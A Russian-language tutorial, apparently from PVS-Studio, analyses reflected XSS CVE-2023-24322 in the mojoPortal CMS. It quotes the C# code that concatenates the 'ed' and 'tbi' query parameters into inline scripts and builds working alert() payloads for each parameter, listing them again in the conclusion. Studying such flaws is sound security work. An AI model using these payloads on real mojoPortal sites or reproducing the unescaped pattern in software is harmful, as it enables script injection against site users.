В этой статье изучим с разных сторон уязвимость XSS в CMS, написанной на C#. Вспомним теорию, разберёмся, как дефект безопасности выглядит со стороны пользователя и кода, а также поупражняемся в составлении эксплойтов.
Что такое cross-site scripting (XSS)?
Примечание. Можете пропустить этот раздел, если уже знакомы с основами XSS.XSS (cross-site scripting) — уязвимость веб-приложений, связанная с внедрением кода на страницу, выдаваемую пользователю. Если приложение уязвимо к XSS, злоумышленник может провести инъекцию JavaScript-кода и похитить данные или выполнить другую вредоносную логику.
Самый простой пример XSS — использование данных из параметров или полей ввода без их проверки / экранирования.
Допустим, есть JS-скрипт, который извлекает из строки запроса значение параметра name и приветствует пользователя на веб-странице:
JavaScript:
<script>
var urlParams = new URLSearchParams(window.location.search);
var nameParam = urlParams.get("name");
var name = nameParam ? nameParam : "stranger";
document.write('<div>Hello '+ name + '!</div>');
</script>Однако если вместо имени передать скрипт, он также будет встроен в тело документа и исполнен.
Пример запроса:
Код:
XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>Результат:
Нам удалось провести инъекцию кода. Этот дефект безопасности называется отражённой XSS (reflected XSS). Внедряемый скрипт никуда не сохраняется, а цель злоумышленника — заставить жертву выполнить небезопасный запрос к странице (например, кликнув по вредоносной ссылке). Естественно, не для того, чтобы показать формочку — это просто типовая демонстрация наличия XSS.
Разбор XSS в CMS mojoPortal (CVE-2023-24322)
От теории и синтетики переходим к разбору конкретной XSS из Open Source проекта mojoPortal. mojoPortal — это CMS, написанная на C# с использованием ASP.NET. Код проекта доступен на GitHub, а уязвимость, которую мы сегодня будем разбирать, обнаружена в версии 2.7.0.0.Рассматриваемая XSS-уязвимость имеет идентификатор CVE-2023-24322: A reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.
Из описания достаём несколько важных фактов:
- уязвимость находится на странице FileDialog.aspx;
- эксплуатировать дефект безопасности можно через параметры запроса ed и tbi.
Попробуем записать эту строку в оба параметра и посмотрим, что произойдёт.
Запись в параметр ed не приводит к видимым результатам:
А вот если ту же строку передать через параметр tbi, то содержимое страницы изменится интересным образом:
Однако это всё равно не то, чего мы ожидали — всплывающего окошка (результат вызова alert) не появилось.
Чтобы лучше разобраться в происходящем и составить эксплойты, заглянем в исходный код и посмотрим, как используются значения параметров запроса.
Общая логика
Посмотрим на код и попробуем понять, что объединяет параметры ed и tbi, после чего проанализируем обработку каждого из них.
Начнём с метода, который обрабатывает событие загрузки страницы FileDialog.aspx — Page_Load:
Код:
protected void Page_Load(object sender, EventArgs e)
{
LoadSettings();
if (fileSystem == null) { return; }
PopulateLabels();
SetupScripts();
}
Код:
public partial class FileDialog : Page
{
private string editorType = string.Empty;
private string clientTextBoxId = string.Empty;
....
private void LoadSettings()
{
....
if (Request.QueryString["ed"] != null)
{
editorType = Request.QueryString["ed"];
}
....
if (Request.QueryString["tbi"] != null)
{
clientTextBoxId = Request.QueryString["tbi"];
}
....
}
....
}
Код:
protected void Page_Load(object sender, EventArgs e)
{
LoadSettings();
if (fileSystem == null) { return; }
PopulateLabels();
SetupScripts();
}
Код:
private void SetupScripts()
{
SetupMainScript();
SetupjQueryFileTreeScript();
SetupClearFileInputScript();
}Начнём с метода SetupMainScript:
Код:
private void SetupMainScript()
{
switch (editorType)
{
case "tmc":
SetupTinyMce();
break;
case "ck":
SetupCKeditor();
break;
case "fck":
SetupFCKeditor();
break;
default:
SetupDefaultScript();
break;
}
}
Код:
//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");
StringBuilder script = new StringBuilder();
script.Append("\n<script type=\"text/javascript\">");
script.Append("function fbSubmit () {");
if(browserType == "folder")
{
script.Append(
"var URL = document.getElementById('"
+ hdnFolder.ClientID
+ "').value; ");
}
else
{
script.Append(
"var URL = document.getElementById('"
+ hdnFileUrl.ClientID
+ "').value; ");
}
//script.Append("alert(URL);");
script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
//script.Append("window.close();");
//script.Append("window.opener.focus();");
script.Append("}");
script.Append("\n</script>");
this.Page
.ClientScript
.RegisterClientScriptBlock(typeof(Page),
"fbsubmit",
script.ToString());
}Похожая история происходит и в методе SetupjQueryFileTreeScript, который я упоминал ранее. Метод также формирует и регистрирует скрипт, используя значение поля editorType (соответствует параметру ed).
Ниже привожу сокращённое тело метода SetupjQueryFileTreeScript, так как он достаточно объёмный. Код целиком можно посмотреть по ссылке.
Код:
private void SetupjQueryFileTreeScript()
{
....
StringBuilder script = new StringBuilder();
script.Append("\n<script type=\"text/javascript\">");
....
script.Append(
"var returnUrl = encodeURIComponent('"
+ navigationRoot
+ "/Dialog/FileDialog.aspx?ed="
+ editorType
+ "&type="
+ browserType
+ "&dir=' + selDir) ; ");
....
script.Append("\n</script>");
this.Page
.ClientScript
.RegisterStartupScript(
typeof(Page),
"jqftinstance",
script.ToString());
}Оба рассмотренных метода — SetupDefaultScript и SetupjQueryFileTreeScript — имеют структуру общего вида и используют значения параметров HTTP-запроса tbi и ed для составления скрипта.
В обобщённом (и упрощённом) виде код методов выглядит так:
Код:
void SetupScript()
{
StringBuilder script = new StringBuilder();
script.Append("\n<script type=\"text/javascript\">");
script.Append(....);
// tbi and ed values are appended to the script
....
script.Append("\n</script>");
this.Page
.RegisterScript(typeof(Page),
....,
script.ToString());
}Так как скрипты отличаются по структуре и вложенности, эксплойты тоже будут разными. Рассмотрим каждый из них по отдельности.
Примечание о форматировании скриптов. В статье я отформатировал JS-скрипты для удобства чтения. На самом деле они записываются в 2 строки: открывающий тег и тело скрипта на первой строке и закрывающий тег на второй:
Код:
<script type="text/javascript">function fbSubmit () { .... }
</script>Помните про эту особенность, так как она влияет на эксплойт.
Эксплойт с использованием параметра tbi
Скрипт с использованием параметра tbi выглядит попроще — с него и начнём.Выполним запрос следующего вида:
Код:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload
JavaScript:
<script type = "text/javascript">
function fbSubmit() {
var URL = document.getElementById('hdnFileUrl').value;
top.window.SetUrl(URL, 'TestPayload');
}
</script>Наша задача — попробовать составить такой запрос, который "сломает" скрипт и даст возможность выполнить инъекцию кода. Для этого эксплойт должен решить ряд задач:
- "закрыть" второй аргумент функции SetUrl;
- "закрыть" вызов функции SetUrl;
- выйти за пределы тела функции fbSubmit;
- провести инъекцию кода;
- закомментировать оставшийся кусок изначального кода (тот код, который закрывает шаблон подстановки).
Код:
TestPayload');}alert('You have been hacked via XSS');//- TestPayload' "закрывает" аргумент функции;
- ); "закрывает" вызов функции SetUrl;
- } "закрывает" тело функции fbSubmit;
- alert('You have been hacked via XSS'); — основная логика инъекции;
- // — комментирует часть исходного шаблона, которая осталась после подстановки — ');}.
Код:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//
Давайте посмотрим, как стал выглядеть генерируемый JS-код при таком запросе:
Код:
<script type = "text/javascript">
function fbSubmit() {
var URL = document.getElementById('hdnFileUrl').value;
top.window.SetUrl(URL, 'TestPayload');
}
alert('You have been hacked via XSS'); //');}
</script>Что ж, здорово! Мы поняли, как можно использовать параметр tbi, чтобы эксплуатировать XSS-уязвимость. Теперь переходим ко второму уязвимому параметру — ed.
Эксплойт с использованием параметра ed
Принцип составления эксплойта для параметра ed аналогичен tbi.Напомню, что интересующий нас JS-код, в который подставляется значение параметра ed, генерируется в методе SetupjQueryFileTreeScript.
Выполним запрос следующего вида:
Код:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload
Код:
<script type="text/javascript">
....
$(document).ready(function () {
....
$('#pnlFileTree').fileTree({
....
}, function (file) {
....
var returnUrl = encodeURIComponent(
'http://localhost:56987/Dialog
/FileDialog.aspx?ed=TestPayload&type=image&dir='
+ selDir);
....
}, function (folder) {
....
});
});
....
</script>Перед нами стоит задача, аналогичная той, что была в предыдущем случае. Нужно подобрать такие данные, которые помогли бы выйти за пределы аргумента функции encodeURIComponent и выполнить инъекцию кода.
Эксплойт так же, как и в прошлый раз, должен решать несколько задач:
- "закрыть" аргумент функции encodeURIComponent;
- "закрыть" вызовы и тела функций;
- внедрить код;
- закомментировать "хвост" шаблона, который останется после внедрения логики.
Код:
TestPayload');});});alert('You have been hacked via XSS');//- TestPayload' "закрывает" аргумент функции encodeURIComponent;
- ); "закрывает" вызов функции encodeURIComponent;
- });}); используется для того, чтобы закрыть тела внешних функций;
- alert('You have been hacked via XSS'); — основная логика инъекции кода;
- // служит для комментирования части исходного скрипта, которая осталась после подстановки.
Код:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//
На выходе получили точно то, что ожидали.
С указанным выше значением параметра сгенерированный JS-код принял такой вид (сокращённая версия, полная — здесь):
Код:
<script type = "text/javascript">
....
$(document).ready(function () {
....
$('#pnlFileTree').fileTree({
....
}, function (file) {
....
var returnUrl = encodeURIComponent(
'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
});
});
alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>
Как исправили код?
В текущей версии проекта файла FileDialog.aspx.cs, который и содержал уязвимости, нет. Предположу, что код переписали или попросту убрали.Заключение
Мы разобрали, как XSS может выглядеть на практике. Просуммируем основные моменты — пригодится, если захотите повозиться с этой уязвимостью самостоятельно:- CVE-ID: CVE-2023-24322
- проект: mojoPortal v2.7.0.0
- суть уязвимости: возможность выполнить XSS на странице /Dialog/FileDialog.aspx при использовании параметров ed и tbi
- возможный эксплойт для ed: TestPayload');});});alert('You have been hacked via XSS');//
- возможный эксплойт для tbi: TestPayload');}alert('You have been hacked via XSS');//
PVS-Studio
источник habr.com
